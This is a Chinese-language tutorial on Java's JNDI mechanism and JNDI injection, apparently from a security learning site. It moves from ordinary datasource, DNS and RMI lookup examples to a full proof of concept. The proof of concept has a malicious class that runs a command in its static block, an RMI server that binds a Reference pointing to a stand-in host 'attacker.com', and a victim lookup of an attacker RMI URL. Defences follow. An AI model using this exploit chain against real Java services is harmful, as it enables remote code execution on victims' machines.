全面学习JNDI机制与注入
字数 1756 2025-08-10 12:18:01
JNDI机制与注入攻击全面解析
一、JNDI基础概念
1.1 什么是JNDI
JNDI(Java Naming and Directory Interface)是Java命名和目录接口,提供了一组统一的API,用于访问各种命名和目录服务。其核心思想是:
- 解耦:应用程序不需要关心资源的具体实现方式
- 屏蔽:开发者只需知道资源的位置,无需了解底层细节
1.2 JNDI核心组件
- 命名服务(Naming Service):将名称与对象关联的系统
- 目录服务(Directory Service):扩展的命名服务,允许对象具有属性
- 上下文(Context):一组名称到对象的绑定关系
- 初始上下文(Initial Context):JNDI操作的起点
二、JNDI实际应用示例
2.1 通过JNDI获取数据源
配置步骤:
- 在Tomcat的
/conf/context.xml中配置数据源:
<Context>
<Resource name="jndi/test" auth="Container" type="javax.sql.DataSource"
maxActive="100" maxIdle="30" maxWait="10000" username="root" password="root"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf8"/>
</Context>
- 在
web.xml中引用资源:
<resource-ref>
<description>Person Data Source</description>
<res-ref-name>jndi/test</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>
- 代码实现:
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jndi/test");
Connection conn = ds.getConnection();
2.2 通过JNDI进行DNS查询
DirContext ctx = new InitialDirContext();
Attributes attrs = ctx.getAttributes("dns:/www.baidu.com", new String[]{"A"});
System.out.println(attrs.get("A"));
2.3 通过JNDI进行RMI调用
服务端实现:
// 创建RMI注册表
LocateRegistry.createRegistry(1099);
// 创建远程对象
Hello hello = new HelloImpl();
// 绑定到JNDI
Context ctx = new InitialContext();
ctx.bind("rmi:HelloService", hello);
客户端调用:
Context ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi:HelloService");
String result = hello.getMsg();
三、JNDI注入攻击原理
3.1 关键类介绍
javax.naming.Reference:表示对象引用,包含类名和地址信息com.sun.jndi.rmi.registry.ReferenceWrapper:将Reference封装为Remote对象
3.2 攻击流程
-
恶意服务端准备:
- 创建恶意类(包含静态代码块或构造方法中的恶意代码)
- 使用Reference包装恶意类
- 将ReferenceWrapper绑定到RMI注册表
-
客户端触发:
- 客户端执行
lookup()操作 - 服务端返回Reference对象
- 客户端从指定URL加载恶意类
- 恶意代码被执行
- 客户端执行
3.3 完整攻击示例
恶意类Calc.java:
import java.io.IOException;
public class calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
恶意服务端:
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("calc", "calc", "http://attacker.com/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.rebind("HelloService", wrapper);
受害者客户端:
new InitialContext().lookup("rmi://attacker-ip:1099/HelloService");
四、JNDI注入详细分析
4.1 上下文环境构建流程
InitialContext.lookup()调用- 检查是否有初始上下文工厂构建器
- 判断name是否为URL字符串
- 根据scheme(如"rmi")获取对应上下文工厂
- 加载并实例化
rmiURLContextFactory - 创建JNDI上下文环境
4.2 资源解析流程
- 解析RMI URL并准备上下文
- 通过RMI协议与远程注册表通信
- 服务端返回ReferenceWrapper_Stub
- 客户端解码Reference对象
- 从指定URL加载恶意类
- 实例化恶意类触发RCE
4.3 关键点说明
- 工厂类机制:
NamingManager.getObjectFactoryFromReference()负责从Reference加载工厂类 - 类加载顺序:优先从本地classpath查找,找不到才从远程URL加载
- 异常处理:即使工厂类转换失败,恶意代码也已执行
五、JNDI注入利用条件
-
网络条件:
- 目标机器能够出网访问恶意HTTP服务
- 或能将恶意字节码上传至目标机器
-
可控点:
- 能够控制JNDI lookup的URL参数
-
JDK版本限制:
- 高版本JDK需要
trustURLCodebase设置为true - 或能控制
java.rmi.server.codebase指向的URL
- 高版本JDK需要
六、防御措施
-
升级JDK版本:
- JDK 6u132、7u122、8u113及以上版本默认禁用远程codebase
-
配置安全策略:
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 设置
com.sun.jndi.cosnaming.object.trustURLCodebase=false
- 设置
-
输入验证:
- 严格校验JNDI lookup的参数
- 禁止使用外部可控的JNDI名称
-
网络防护:
- 限制出站网络连接
- 监控异常JNDI请求
七、总结
JNDI注入攻击利用了Java命名和目录服务的动态类加载机制,通过控制JNDI lookup的URL参数,诱导目标从恶意服务器加载并执行代码。理解JNDI的工作原理和攻击流程对于Java应用安全至关重要。开发者应始终遵循最小权限原则,及时更新JDK版本,并对所有外部输入进行严格验证。